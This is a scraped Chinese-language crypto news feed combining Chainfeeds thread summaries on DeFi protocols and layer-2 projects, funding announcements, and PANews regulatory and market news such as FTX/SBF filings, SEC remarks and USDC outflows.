    Chainfeeds 导读： DeFi 利率市场还处于早期阶段，但已经有团队在试图构建新的 DeFi 原语了，例如 Voltz，允许基于 AMM 的杠杆利率互换。加密研究员 563 撰文从 Uniswap V3 集中流动性机制聊起，对 Voltz 的优势进行了解读。 文章来源： https://twitter.com/563defi/status/1640713905927487490 文章作者： 563 观点： 563：Voltz 正在创建跨行业的新型 DeFi 利率市场，通过使用 Uniswap V3 的集中流动性模型让 LP 存款的资本效率更高。具体而言，通过 Voltz，LP 可以决定提供的流动性的利率上限和下限。且由于资本得到了更有效的利用，LP 能够从 700 万美元的存款中供应约 16 亿美元的名义流动性。【原文为英文】 内容来源 563：目前用户可以交换的利率包括：1）稳定币收益率：Aave（USDC 和 DAI）和 Compound Labs（DAI）；2）借贷市场：Aave（USDC 和 ETH）和 Compound（USDT）；3）以太坊质押：Lido（stETH）和 Rocket Pool（rETH）；4）真是收益率：GMX（GLP）。【原文为英文】 内容来源  ( 2 min )
    【英文长推】探讨 EIP-4337 和 zkSync Era 的原生账户抽象之间的区别
    Chainfeeds 导读： 账户抽象是以太坊社区的重大飞跃。 zkSync Era 建立在 EIP-4337 的愿景之上，在协议层面上实现了账户抽象。zkSync 撰文探讨了 EIP-4337 和 zkSync Era 的原生账户抽象之间的区别。 文章来源： https://twitter.com/zksync/status/1641047524810330114 文章作者： zkSync∎ 观点： zkSync∎：什么是账户抽象 （AA）？AA 允许开发智能合约帐户，由于在开发任何类型的逻辑时具有充分的灵活性，因此可以更顺畅地启动、改进用户体验和更高的安全性。AA 将 web2 的灵活性与 web3 的自主权相结合。【原文为英文】 内容来源 zkSync∎：随着 EIP-4337 在以太坊主网上的运行，CA 将名为 UserOperations 的 tx 发送到一个单独的内存池，捆绑者在该内存池中打包并将它们发送到 EntryPoint 合约以执行。然而，为了避免硬分叉，EIP-4337 不得不做出一些妥协：1）为 EOA 和 CA 分开的 tx 流；2）分开的内存池；3）分开的验证者 / 捆绑者角色；4）EOA 不能使用 Paymasters。我们从 EIP-4337 中获得灵感，通过在协议级别集成 AA 对其进行了改进。这意味着：1）单一 tx 流、内存池和验证者 / 捆绑者角色；2）EOA 也可以使用 Paymasters。【原文为英文】 内容来源  ( 2 min )
    Binary DAO：Polygon zkEVM 的整体架构和交易执行流程
    Chainfeeds 导读： 3 月 27 日，Polygon zkEVM 主网测试版本正式上线，Vitalik 在上面完成了第一笔交易。Binary DAO 梳理了 Polygon zkEVM 的核心机制，并分析了它实现以太坊计算扩容的可行性。 文章来源： https://mp.weixin.qq.com/s/R01lL7-2kGqJLkswwdQ_tw 文章作者： 0xhhh 观点： 0xhhh：Polygon zkEVM 的整个工作过程可以主要分为三个步骤：1）Sequencer 将多个用户交易打包成 Batch 提交到 L1 的合约上；2） Prover 为每笔交易生成有效性证明，并将多个交易的有效性证明聚合成一个有效性证明；3）Aggregator 提交聚合了多个交易的有效性证明到 L1 的合约中。 内容来源 0xhhh：实际上 Sequencer 做了类似以太坊 Proposer 的工作，提议了一批交易是有效交易，并且给出了这批交易执行后的新状态；而 L1 合约的验证逻辑，相当于所有 L1 的 Validator 都会在自己的以太坊客户端里执行一遍，实际上是所有的以太坊验证者充当了 Rollup 的验证者，因此我们认为 Polygon zkEVM 继承了以太坊的安全性。 内容来源  ( 33 min )
    【英文长推】新项目前瞻｜由 ConsenSys 支持的 zkEVM：Linea
    Chainfeeds 导读： Linea 是一个由 ConsenSys 支持的 zkEVM，可以在 MetaMask 中访问，提供了一个业界领先的 EVM 等效证明应用。Linea 产品经理 Edclan Fox 详细介绍了此项目。 文章来源： https://twitter.com/declanfox14/status/1640663584114892800 文章作者： Edclan Fox 观点： Edclan Fox：Linea 证明了未经改变的 EVM 字节码，保留了标准 Solidity 编译器和以太坊 JSON-RPC 接口。这意味着在构建集中或不可扩展的 EVM 链上时，开发人员没有任何切换成本。这也意味着想要构建的新构建者来说没有平台锁定，并且无需维护定制代码并使用自定义工具来接触他们的用户。【原文为英文】 内容来源 Edclan Fox：等效于 EVM 是否会牺牲性能？不会。ConsenSys 的 zkEVM 基于格子结构证明器使用递归提供无与伦比的证明性能。之前进行过基准测试，在 4.5 分钟内完成 30M gas，并且今年有一条清晰路径可以实现 5-10 倍增长。Linea 将成为开发人员和用户进入 web3 的门户。在 MetaMask 扩展程序中列出 Linea testnet 作为默认网络，使数百万用户在不知情的情况下接入 L2 和以太坊。【原文为英文】 内容来源  ( 2 min )
    【长推】Blur 毁了 NFT 市场还是为其带来真正长期的繁荣？
    Chainfeeds 导读： Blur 推迟减半收益一个月，引起矿工和 NFT 玩家的不满。有人指责 Blur 毁了 NFT 市场，认为它让玩 NFT 从收藏变成了交易和刷空投的游戏，并导致巨鲸控制市场价格和地板价下跌。加密货币 KOL 0xWizard 认为流动性改善可以吸引更多大户参与并带来真正长期的繁荣。 文章来源： https://twitter.com/0xcryptowizard/status/1640970537429262337 文章作者： 0xWizard 观点： 0xWizard：我的思考和疑惑：1）如果你是 collector，似乎不必去关注价格的短期波动，以及社区里其他人的想法，跟价值观同样的人一起做收藏就好了；2）巨鲸控制市场价格这件事，其实在哪里都一样，cex 的币价也是一样的，只是没有像链上这么一目了然罢了；3）floor price 下跌，无非是之前的 NFT 巨鲸流动性不好，出货不方便，跌的慢一点。烂项目，早晚会归零；真的好项目，也不怕短期砸盘。blur 带来的改变，是为 NFT 引入流动性，大户更容易参与了，短期看，缺点是巨鲸操控价格 /floor 波动剧烈。 内容来源 0xWizard：如果这个模式成立，在我看来，长期对于 NFT 市场利大于弊：对于某些 NFT，艺术属性为主；很大一部分 NFT，金融和交易属性为主。对于后者来说，流动性的改善，让任何人（尤其是大户 / 巨鲸）能够方便的进出，才能为市场带来更多新鲜的流动性。曾经 os 模式，牛市大户都不敢进入，缺乏流动性。不该对 blur 只是指责，还应该多一点包容和进一步的观察，好的流动性才能带来 NFT 的真正长期繁荣。 内容来源  ( 2 min )
    【英文长推】可组合性趋势探索：软件工程、金融、模块化及安全性
    Chainfeeds 导读： 可组合性是指通过各种方式将不同模块进行组合以创建更复杂的系统或应用。IOSG 投资助理 Jiawei 在 ChatGPT 的帮助下总结了一些关于可组合性趋势的想法，并表示由于功能模块化和专业化程度的提高，未来「整体大于部分之和」将成为可能。 文章来源： https://twitter.com/Elegy4TheArctic/status/1641110535600209920 文章作者： Jiawei 观点： Jiawei：1）软件工程中的可组合性：软件工程中的可组合性通常涉及到不同应用活系统中组合、集成和重用的组件及服务，可组合的系统通常被涉及称模块化，有明确的接口和清晰的责任分工，该可组合性可以加快开发周期、降低开发成本并提高系统的灵活性和可扩展性；【原文为英文】 内容来源 Jiawei：2）可组合的金融：DeFi 的可组合性来源于其模块化设计，由不同的协议、智能合约和应用程序组成，可以相互调用和组合以实现更复杂和更丰富的金融功能，还允许开发者快速创建自己的智能合约和应用程序并与其他 DeFi 协议和应用程序结合创新新的产品和服务；【原文为英文】 内容来源 Jiawei：3）可组合的模块化：例如作为执行层，Rollup 可将 DA 外包给不同的解决方案（Celestia、EigenDA 或以太坊），在系统设计和实施方面提供了极大的灵活性和定制化；4）可组合的安全性：EigenLayer 利用以太坊的安全性，Babylon 则利用比特币的安全性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 Optimism 生态里主要的永续交易协议：Mummy Finance、Perpetual Protocol、Pika Protocol...
    Chainfeeds 导读： Optimism 上的永续协议正在增加，这些协议的交易量自 2023 年初以来也一直在增加。加密货币 KOL Subli 将 Optimism 上的永续协议与其他链上进行对比，并对 Optimism 主要的永续协议在资产、杠杆、实际收益率和领先优势特征方面进行了比较。 文章来源： https://twitter.com/subli_defi/status/1641052434654195712 文章作者： Subli 观点： Subli：Mummy Finance：1）资产 / 杠杆：5 倍资产可用 / 最高 100 倍；2）实际收益率：交易费用的 60% 归流动性提供者，5% 归国库，30% 归 MMY 持有者；3）领先优势：GMX 的最大 TVL 分叉。由于 MLP 池没有价格影响。【原文为英文】 内容来源 Subli：Perpetual Protocol：1）资产 / 杠杆：18 倍资产可用 / 最高 10 倍；2）实际收益率：交易费用的 80% 归流动性提供者，5% 归国库，15% 归 vePERP 持有者；3）领先优势：原生 Optimism 永续协议。新型被动挖矿解决方案，引入 Hot Tub 存储库以在 Optimism 上进行永续市场和 Dexe 之间的价格套利。【原文为英文】 内容来源 Subli：Pika Protocol：1）资产 / 杠杆比例：25x 资产可用 / 最高 100 倍；2）实际收益率：70％ 的交易手续费给流动性提供者，30％ 给协议；3）领先优势：加密货币和外汇交易。尚未推出代币。【原文为英文】 内容来源  ( 2 min )
    音乐 NFT 交易所 Muverse 完成 600 万美元种子轮融资
    音乐 NFT 交易所 Muverse 完成 600 万美元种子轮融资 据 APnews 报道，音乐 NFT 交易所 Muverse 完成 600 万美元种子轮融资，Syndicate Capital、Knights Templar Capital、Zonff Partners、AvatarDAO、Sun Artland Ltd 参投。所筹资金将用于扩大平台的功能和服务，加速用户获取，并提升用户体验。 Muverse 是一个社区驱动的音乐 NFT 交易平台和多合一应用，允许世界各地的音乐艺术家、投资者和粉丝参与音乐 NFT 交易。该平台为用户提供游戏化的互动、投资和收入场景，包括一个结合收益模型的节奏游戏，以及一个为用户提供充足流动性的 NFT 交易所。该平台正在开发其第二阶段的产品，其中将包括音乐 NFT 交易所、NFT 碎片化功能和用于其 F-NFT/MCT 交易的 AMM 池。 内容来源  ( 12 min )
    【英文长推】Solana 优缺点权衡：会成为下一个 EOS 吗？
    Chainfeeds 导读： 2022 年，由于市场环境及 FTX 的崩盘等因素，Solana 在 TVL 等指标上遭遇了大幅下跌。加密研究员 hangry 在分析了 Solana 的优缺点后，认为虽然 Solana 的情况看起来很糟糕，但对于生态系统而言，是一个新的发展机遇，且 Solana 正变得更具可组合性。 文章来源： https://twitter.com/kindahangry/status/1640987186265997312 文章作者： hangry 观点： hangry：优势：1）Solana 正在解决新用户的无缝入驻问题；2）虽然 L2 已经改善了以太坊的可扩展性，但仍需要时间，Solana 在交易成本和吞吐量方面仍具有优势；3）Solana 的用户体验最简单，当然随着以太坊账户抽象化和钱包改进的发展可能会发生改变；4）Solana 在 NFT 方面具备独特的生态系统和社区优势。【原文为英文】 内容来源 hangry：存在的问题：1）Solana 原生项目一直在向其他链扩张，但该现象非 Solana 独有；2）2021 年至 2022 年期间，Solana 频繁宕机，但大多数情况下已经通过本地化收费市场得到了解决；3）缺乏节点去中心化，但由于 Solana 的目标是零售层，因此该问题并没有很重要。【原文为英文】 内容来源  ( 2 min )
    【英文长推】速览 Arbitrum 生态 AMM 协议 Chronos：有何独特之处？
    Chainfeeds 导读： Chronos 是 Arbitrum 生态 AMM 协议，它引入了零回溯模型和成熟度 LPs 等创新功能，能够降低通货膨胀，并且通过奖励在平台上保持较长时间的资金的用户创造稳定和粘性的流动性。加密研究员 hoeem 对该协议的独特支持进行了分析解读。 文章来源： https://twitter.com/crypthoem/status/1641226333878403073 文章作者： hoeem 观点： hoeem：1）Zero Rebase 的重要性：Rebasing 并没有创造更多收益或收入，而是改变了每个投票者代币的收入比例，流动性提供者激励受到了负面影响，因为较高的 APY 促使代币价格上涨，随着时间的推移（1 至 4 年），DEX 必须产生更多收入以维持 DEX 代币的定价；【原文为英文】 内容来源 hoeem：2）veNFT 流动性机制：旨在通过追踪流动性提供者的代币贡献、质押份额及期限来激励他们的长期承诺，即通过鼓励早期质押来支持新项目促进其流动性池和用户群的增长；3） Chronos 使用独特的模式在 Arbitrum 上创建了一个流动性层：veNFT 激励流动性供应者维持其头寸，反过来也使得流动性池通过使用 NFT 表示和改变提供者和贿赂者的博弈理论而让流动性池更具粘性。【原文为英文】 内容来源  ( 2 min )
    【英文】从比特币减半周期聊起：我们是否处在买入比特币的最佳阶段？
    Chainfeeds 导读： 比特币的供应需求机制为比特币创造了一个时间窗口，每四年一次。加密研究员 Jesse Myers 在分析了比特币每次减半前后的价格走势后，认为现在比特币的价格底部已经形成，现在是积累比特币的最佳时机。 文章来源： https://jessemyers.substack.com/p/bitcoin-this-is-the-moment-youve 文章作者： Jesse Myers 观点： Jesse Myers：比特币在 2012 年、2016 年及 2020 年经历了三次减半，而在减半之后的 12 至 18 个月里，比特币经历了它的主要牛市。如果我的理解是正确的，现在是比特币 4 年周期底部之后的时间窗口，这意味着底部已经形成，目前比特币的价格仍低于将趋向的供需「价格平衡点」。如果这些都是正确的，比特币的价格在未来一年可能会稳定在 30000 至 45000 美元范围内。【原文为英文】 内容来源  ( 16 min )
    NFT 的大规模采用会因用户热爱 IP 而来：胖企鹅 CEO 分享 Web3 IP 的商业模式设计
    Chainfeeds 导读： 同样是 PFP 项目，在 Doodles 及 Moonbirds 不断缩水的同时，胖企鹅的交易量和地板价却一直在逆势上扬，不得不让人好奇它究竟做对了什么？加密研究员 starzq 及 Ruby Wang 对胖企鹅 CEO Luca Netz 的采访进行了研究并梳理了他对打造 Web3 IP 与商业模式的思考。 文章来源： https://web3brand.substack.com/p/pudgy-penguins-luca-netz 文章作者： starzq 及 Ruby Wang 观点： starzq.eth：想要赢得成功，就需要构建一个可持续的，可增长的收入来源。熊市中靠版税和新发是很难存活的。Luca 选择了 IP 衍生品，他从接管胖企鹅开始，就着手操作 IP 授权和商品企划相关事宜，同时与用户创造情感连接。 内容来源 Rubywang.eth：胖企鹅的变现之路：ToB 合作授权先行，ToC 提升品牌影响力，最终提升直接销售占比。具体在运作上，胖企鹅有些不错的巧思，总结以下三个出彩点：1）善于利用社交媒体和优秀的 meme 传播能力；2）短平快的内容先行，利用影响力做授权变现；3）品牌的成功和商业价值与 NFT 持有者分享。 内容来源 Rubywang.eth：Luca 对胖企鹅的长期目标是「创建世界上第一家伟大的 Web3 IP 公司，及成为第一个全球公认的品牌和 IP 之一。」我的思考是，我们做好我们擅长的，让我们创造一个巨大的差距。然后他们会来找我们做他们最擅长的事情，我们可以将彼此擅长的事情融合，去建立合作伙伴关系。 内容来源  ( 9 min )
    【英文长推】LSDFi 叙事探讨：为什么看好 Zero Liquid？
    Chainfeeds 导读： 上海升级后，将会有数十亿美元的资金以 ETH 衍生品的形式流入 DeFi 领域，很多人称这是 LSD 的第二个叙事场景。 Zero Liquid 能够通过 LSD 代币获得自主偿还的 0 利率贷款，且没有清算风险。加密研究员 Road2Crypto 撰文对该协议的优缺点进行了分析并概述了他看好的理由。 文章来源： https://twitter.com/CryptoDamus411/status/1641043533498023936 文章作者： Road2Crypto 观点： Road2Crypto：我看好 ZERO 的三个原因：1）流动性较好且锁仓一年，不仅对鲸鱼友好，而且降低了波动性；2）代币通过膨胀率低：大部分代币仍然被锁仓或属于开发者及社区，最大的风险我认为是 LP 激励；3）代币分配上，最大的私人持有者仅持有 12.4 万美元，这大大降低了波动性及风险。【原文为英文】 内容来源 Road2Crypto：Zero Liquid 优势：1）先行者；2）LSDFi 作为新兴市场具有巨大潜力；3）即将推出；4）具备卓越流动性及代币效用；5）目前持有者仅有 555 名；6）对鲸鱼友好。Zero Liquid 缺点：1）尚没有可用产品；2）匿名团队。【原文为英文】 内容来源  ( 2 min )
    【英文】Silent Protocol 提出 EZEE 框架：如何改善现有隐私方案困境？
    Chainfeeds 导读： Silent Protocol 正在申请 EZEE 框架专利，这有可能会改变用户与加密货币应用程序的互动方式。加密研究员 Billl 在进行研究后撰文对现有隐私解决方案的缺点及 Silent Protocol 提出的 EZEE 能够解决什么问题进行了解析。 文章来源： https://lenster.xyz/posts/0x09ee-0x53 文章作者： Billl 观点： Billl：现有隐私解决方案的一个缺点是它们会遭遇被称为「State Denial（状态拒绝）」的条件。而 Silent Protocol 提出的 EZEE（Economical Zero Knowledge Execution Environment），是一个保护隐私的计算框架，通过隔离加密层和执行层来保护隐私解决了该问题。【原文为英文】 内容来源 Billl：EZEE 允许用户通过「环境」或执行筒仓进行不同的终端合约操作，这使得用户能够与整个系统互动，而非单一功能。但我还存在一些疑问，例如虽然 EZEE 允许 Silent 以一种有意义的方式将隐私植入以太坊和其他公共区块链，但尚不清楚它们是如何考虑匿名中继的。我的理解是在 Silent 上的执行筒仓进行操作时无需任何中继。【原文为英文】 内容来源
    知情人士：Coinbase 正与监管机构就继续在加拿大开展业务进行谈判
    知情人士：Coinbase 正与监管机构就继续在加拿大开展业务进行谈判 据 CoinDesk 援引知情人士报道，随着加拿大收紧对加密交易所的规定，Coinbase 正在与监管机构就继续在加拿大开展业务进行谈判。Coinbase 通讯主管 Elliott Suthers 在给 CoinDesk 的声明中表示，Coinbase 将继续像以前一样将加拿大市场作为其国际路线图中的核心组成部分。此外，据另一位知情人士表示，币安或将退出加拿大市场。随后币安发言人表示，币安还没有做出明确计划。且正在积极与加拿大证券管理部分寻求注册。据第三位知情人士表示，Crypto.com 也计划继续在加拿大开展业务，而 Blockchain.com 向 CoinDesk 证实将离开加拿大市场，Deribit 也告知客户即将离开。 内容来源  ( 29 min )
    专注于人工智能的加密协议 Fetch.ai 获 DWF Labs 4000 万美元投资
    专注于人工智能的加密协议 Fetch.ai 获 DWF Labs 4000 万美元投资 专注于人工智能的加密协议 Fetch.ai 获 DWF Labs 4000 万美元投资，所筹资金将用于部署去中心化机器学习、自主代理和网络基础设施。 据 CoinDesk 介绍，Fetch.ai 旨在通过提供一个自主机器对机器的生态系统，为开发者提供部署和盈利的工具。此前于 2 月与电子巨头 Bosch 达成合作共同成立基金会，研究及开发区块链技术在交通、酒店和商业等领域的应用案例。 内容来源 观点： Andrei Grachev（DWF Labs 管理合伙人 ）：Fetch.ai 的形式为构建和部署具有自动化和人工智能能力的点对点应用程序提供了全面的解决方案。【原文为英文】 内容来源  ( 28 min )
    Aptos 生态 DeFi 基础设施协议 Econia Labs 完成 650 万美元 A 轮融资，Dragonfly 领投
    Aptos 生态 DeFi 基础设施协议 Econia Labs 完成 650 万美元 A 轮融资，Dragonfly 领投 Aptos 生态 DeFi 基础设施协议 Econia Labs 完成 650 万美元 A 轮融资，Dragonfly 领投，Lightspeed Faction、Wintermute Ventures、Hudson River Trading、Aptos Labs 和 Flow Traders 等参投。所筹资金将用于扩大团队、支持社区活动及帮助开发人员加入 Aptos 和 Econia 生态系统。 据 CoinDesk 介绍，Econia Labs 由 Econia Labs 与 Aptos 团队合作开发，正在构建一个提供定单簿的后端协议，允许交易者以自己想要的价格或市场提供的最佳价格进行资产购买或出售，并支持及提供一系列交易选项的 DeFi 应用程序集成。 内容来源 观点： Alex（Econia Labs 首席执行官）：Econia 在 Aptos DeFi 基础层提供了一个结算引擎，这使得其他 DApp 能够进入一个共同的交易场所，随着流动性被汇集到 Econia 订单簿中，开发人员可以专注于在核心协议的基础上建立创新产品，如永续期货、期权和保证金交易市场，而不必担心交易方之间的匹配和填补交易。【原文为英文】 内容来源  ( 28 min )
    去中心化投资基金 Hydra Ventures 完成 1000 万美元融资
    去中心化投资基金 Hydra Ventures 完成 1000 万美元融资 去中心化投资基金 Hydra Ventures 完成 1000 万美元融资，1kx、ConsenSys、Collab+Currency、Wicklow Capital 和 Seed Club 等参投。所筹资金将用于投资其他 30 至 40 个以投资为重点的 DAO。 据 The Block 介绍，Hydra Ventures DAO 由风投公司 1kx 合伙人 Pet3rpan 提议创建，核心团队成员包括 1kx、MetaCartel Ventures 和 Thing3 成员。据悉，Hydra Ventures 目前已经进行了一项投资，并计划在投资过程中孵化一些投资 DAO。 内容来源 观点： Stephen McKeon（Collab+Currency 管理合伙人）：投资 DAO 领域刚刚起步，对我们而言，Hydra 完全有能力成为 DAO 基金模式的先驱。【原文为英文】 内容来源  ( 216 min )

  • Open

    对话 Andre Cronje：离开的原因，对 Fantom、DeFi 以及监管的看法
    对话 Andre Cronje：离开的原因，对 Fantom、DeFi 以及监管的看法 – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 3 min )
    对话 Andre Cronje：离开的原因，对 Fantom、DeFi 以及监管的看法
    对话 Andre Cronje：离开的原因，对 Fantom、DeFi 以及监管的看法 – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 3 min )
    账户抽象：下一个带领十亿用户进入加密的新叙事
    账户抽象：下一个带领十亿用户进入加密的新叙事 – 深潮TechFlow 撰写：Ignas Read the full entry  ( 4 min )
    账户抽象：下一个带领十亿用户进入加密的新叙事
    账户抽象：下一个带领十亿用户进入加密的新叙事 – 深潮TechFlow 撰写：Ignas Read the full entry  ( 4 min )
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施 – 深潮TechFlow 撰写：Sooper Read the full entry  ( 4 min )
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施 – 深潮TechFlow 撰写：Sooper Read the full entry  ( 4 min )
    去中心化合约交易平台Orbits与用户共享流动性做市收益
    去中心化合约交易平台Orbits与用户共享流动性做市收益 – 深潮TechFlow 自从2022年加密行业以FTX为代表的巨头暴雷频发，加密交易市场去中心化和透明度越来越受到关注。交易者意识到传统中心化交易平台的弊端，交易活动从CeFi迁移到DeFi不是“是否”的问题，而是一个“何时”的问题。 Read the full entry  ( 3 min )
    去中心化合约交易平台Orbits与用户共享流动性做市收益
    去中心化合约交易平台Orbits与用户共享流动性做市收益 – 深潮TechFlow 自从2022年加密行业以FTX为代表的巨头暴雷频发，加密交易市场去中心化和透明度越来越受到关注。交易者意识到传统中心化交易平台的弊端，交易活动从CeFi迁移到DeFi不是“是否”的问题，而是一个“何时”的问题。 Read the full entry  ( 3 min )

  • Open

    FTX要求法院驳回SBF使用公司保险支付法律费用的请求
    PANews 3月30日消息，据The Block报道，FTX律师在一份法庭文件中表示，允许FTX前首席执行官SBF“耗尽”1000万美元的公司保险来支付他的法律费用是“不公平的”。本月早些时候，SBF向法院申请使用1000万美元的FTX董事和高管保险计划，以便支付他在破产和刑事诉讼中的律师费用。在另一份文件中，FTX官方无担保债权人委员会要求法官驳回SBF使用公司保险偿还法律费用的请求。该委员会在法庭文件中表示，“董事和高管保险政策是为了保护公司及其董事和高管在正常业务过程中做出诚实决策，但SBF的情况并非如此。法庭应拒绝SBF的请求。”根据委员会的说法，SBF和FTX的债务人共享该保险计划下的1000万美元。实际上用于支付SBF法律费用的每一美元都减少了可用于偿还债权人的金额。  ( 4 min )
    SEC主席：现有证券法“已涵盖加密市场的大部分活动”
    PANews 3月30日消息，据The Block报道，在周三众议院拨款委员会听证会后，美国证券交易委员会(SEC)主席Gary Gensler表示，现有的证券法“涵盖了加密市场上进行的大部分活动”。应该由SEC和法院来定义什么是证券，而不是由各个加密交易所来选择。Gensler重申，大多数加密货币都是证券，向美国投资者出售加密货币的海外实体需要遵守证券法。他补充称，“许多立法工具如果被采纳，将会破坏证券监管的职权范围"。当被问及SEC是否计划对币安提起诉讼时，Gensler拒绝回答，但他表示该机构已对其他交易所提起诉讼。  ( 4 min )
    USDC本月净流出超过100亿美元，USDT市场份额创22个月新高
    PANews 3月30日消息，据CoinDesk报道，自3月10日监管机构关闭主要硅谷银行以来，USDC本月净流出已超过100亿美元。CoinGecko的数据显示，USDC目前仍然是第二大稳定币，市值约为330亿美元，但相比本月初（430亿美元）市值缩水约23%。与此同时，大量投资者转向了最大的稳定币USDT。DefiLlama的数据显示，自3月10日以来，USDT的市值增长了约80亿美元，达到797亿美元，占据了60%的稳定币市场份额，创2021年5月以来新高。  ( 4 min )
    美国财政部高级官员：加密货币在银行倒闭事件中没有“直接作用”
    PANews 3月30日消息，据CoinDesk报道，美国财政部负责国内金融事务的副部长Nellie Liang表示，加密行业不应该为硅谷银行(SVB)和Signature Bank的挤兑事件负责。她在周三众议院金融服务委员会的听证会上表示，不认为加密货币在这两起银行破产事件中发挥了直接作用。当被问及数字资产是否是一个间接因素时，她指出Signature在该领域特别活跃，但她没有提供进一步的细节。联邦存款保险公司(FDIC)主席Martin Gruenberg此前曾表示，截至2022年底，Signature约五分之一的存款与加密客户有关。根据监管机构的说法，这些银行所承担的商业风险削弱了它们的弹性。美联储负责监管的副主席巴尔Michael Barr表示，硅谷银行的问题在于"传统的利率风险管理"。据悉，在为期两天的国会听证会上，议员对加密货币并未表现出很大兴趣。听证会显示，监管机构和国会议员的主要担忧是银行的管理问题，以及美联储和FDIC在监管方面的潜在失误。关于潜在新监管立法的讨论针对的是银行业资本和流动性缓冲问题，而并非加密监管法案。  ( 4 min )
    知情人士：Coinbase计划继续在加拿大开展业务，币安或将退出加拿大
    PANews 3月30日消息，据CoinDesk报道，据知情人士透露，Coinbase正与监管机构讨论获得在加拿大继续开展业务的适当许可证。与此同时，另一位不愿透露姓名的知情人士表示，币安可能会退出加拿大。但币安的一位发言人表示，该交易所“尚未制定明确的计划”。此外，据知情人士透露，Crypto.com也计划留在加拿大。本月早些时候，OKEx宣布退出加拿大。Blockchain.com和Deribit也表示将退出加拿大市场，预计Kraken将很快就此事发表声明。2月22日，加拿大证券管理局（CSA）发布加密新规，要求交易所和其他平台必须遵守“加强的投资者保护承诺”，包括将加拿大客户的加密资产隔离保管、禁止向加拿大客户提供保证金或其他形式的杠杆交易以及禁止未经CSA许可出售稳定币。  ( 4 min )
    The Information：Gemini寻求推出海外加密衍生品交易所
    PANews 3月30日消息，据The Information报道，加密交易所Gemini正寻求推出一个海外加密货币衍生品交易所。该平台将专门提供永续期货，这是一种在美国禁止向零售交易者提供的衍生品。由于这种合约没有到期日，而且可以使用高杠杆，因此被认为是一种高风险产品。知情人士透露，Gemini近几个月来一直在接触一些交易公司，希望它们担任海外交易所的做市商。随着FTX的破产以及币安面临CFTC起诉，其他公司有望在加密衍生品领域抢占市场份额。据此前消息，Coinbase正在推出一个离岸平台，以交易加密货币永续掉期。  ( 4 min )
    Safe未申领空投的50%将重新分配至此前已领取者地址
    PANews 3月29日消息，Snapshot页面显示，数字资产管理平台Safe（原Gnosis Safe）治理社区SafeDAO关于未申领SAFE空投重新分配的提案SEP #5已于今日23:01时结束投票。根据投票结果，Safe 向用户空投中未申领代币SAFE中的一半（即超1610万枚）将按比例重新分配至此前已领取者地址。已领取者将总计可申领初始空投方案中约190.45%的SAFE。另一半超1610万枚未申领SAFE后续将由Safe DAO投票决定空投至何种Safe用户，例如用于空投至L2 Safe用户等方案。  ( 4 min )
    专注于人工智能的加密协议Fetch.ai完成4000万美元融资
    PANews 3月29日消息，据CoinDesk报道，专注于人工智能的加密协议Fetch.ai已从做市商和投资公司 DWF Labs 处筹集了 4000 万美元。Fetch.ai的目标是通过提供自主的机器对机器生态系统，为开发人员提供工具来部署应用程序并从中获利。该公司周三在一份声明中表示，Fetch 将利用这笔投资在其平台上部署去中心化机器学习、自主代理和网络基础设施。  ( 4 min )
    遭美国SEC诉讼后，加密货币交易所Beaxy宣布关闭
    PANews 3月29日消息，据CoinDesk报道，数字货币交易所Beaxy表示，由于美国证券交易委员会（SEC）指控该公司及其创始人 Artak Hamazaspyan 经营未注册的交易所和经纪业务，加密平台 Beaxy 已正式关闭。SEC 还指控 Beaxy Digital Ltd. 通过使用其 BXY 代币发行未注册证券非法筹集 800 万美元。  ( 4 min )
    初创公司Econia Labs在Dragonfly领投的种子轮融资中筹集了650万美元
    PANews 3月29日消息，据CoinDesk报道，为 Aptos 区块链开发订单簿协议的初创公司 Econia Labs 在 Dragonfly 领投的种子轮融资中筹集了 650 万美元。这轮融资的其他支持者包括 Lightspeed Faction、Wintermute Ventures、Hudson River Trading 和 Flow Traders 等。Aptos Labs 也参与其中。Econia Labs 与 Aptos 团队合作开发了该协议。该公司将利用这笔资金扩大其团队，支持黑客马拉松和赠款计划等社区计划，并帮助开发人员加入 Aptos 和 Econia 生态系统。  ( 4 min )
    PA日报 | 马斯克等呼吁暂停训练更强大的AI系统；美国公布针对FTX创始人SBF的13项新起诉
    今日要闻提示： 1.美国公布针对FTX创始人SBF的13项新起诉，其中涉嫌贿赂中国政府官员 2.黑山司法部长：美国和韩国都正在寻求引渡Terra创始人Do Kwon 3.马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统 4.Circle：USDC储备80%为短期美债，20%为现金存款且大部分存于GSIB银行 5.Circle将通过与Noble的合作于第二季度发行基于Cosmos的USDC 6.美国法院批准将FTX在红杉资本中的4500万美元资产出售给阿布扎比的投资部门 7.质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投 8.DAO组织Hydra Ventures完成1000万美元融资，ConsenSys等参投 监管消息 法庭文件：美国公布针对FTX创始人SBF的13项新起诉 据Walter Bloomberg，法庭文件显示，美国公布了针对 FTX 加密货币交易所创始人 SAM BANKMAN-FRIED 的 13 项新起诉书。美国在新的贿赂阴谋指控中指控 BANKMAN-FRIED 指导转移至少 4000 万美元的加密货币以贿赂中国政府官员。根据指控，这笔交易是为了影响和诱导中国官员解冻 FTX 附属公司 Alameda Research 的加密货币账户。 据 FT 报道，检察官称，SBF 和他的同伙考虑并尝试了“多种方法”来解冻这些账户，其中包含价值约 10 亿美元的加密货币。2021 年 11 月左右，SBF 将一笔当时价值约 4000 万美元的贿赂款从 Alameda 转移到了一个私人加密钱包中。在付款时或前后，账户被解冻。 今日晚些时候消息，外交部发言人回应“SBF行贿中国官员”时表示，不了解情况。 黑山司法部长：美国和韩国都正在寻求引渡Terra创始人Do Kwon 黑山司法部长表示，美国和韩国都正在寻求引渡Terra创始人Do Kwon。 英国发布人工智能监管白皮书，概述了针对ChatGPT等人工智能治理的五项原则 英国政府发布了针对人工智能产业监管的白皮书，概述了针对ChatGPT等人工智能治理的五项原则。它们分别是：安全性和稳健性、透明度和可解释性、公平性、问责制和管理，以及可竞争性。在接下来的12个月里，监管机构将向相关组织发布实用指南，以及风险评估模板等其他工具，制定基于五项原则的一些具体规则。也将在议会推动立法，制定具体的人工智能法案。 NFT Lido将发行与ETH取款请求挂钩的NFT 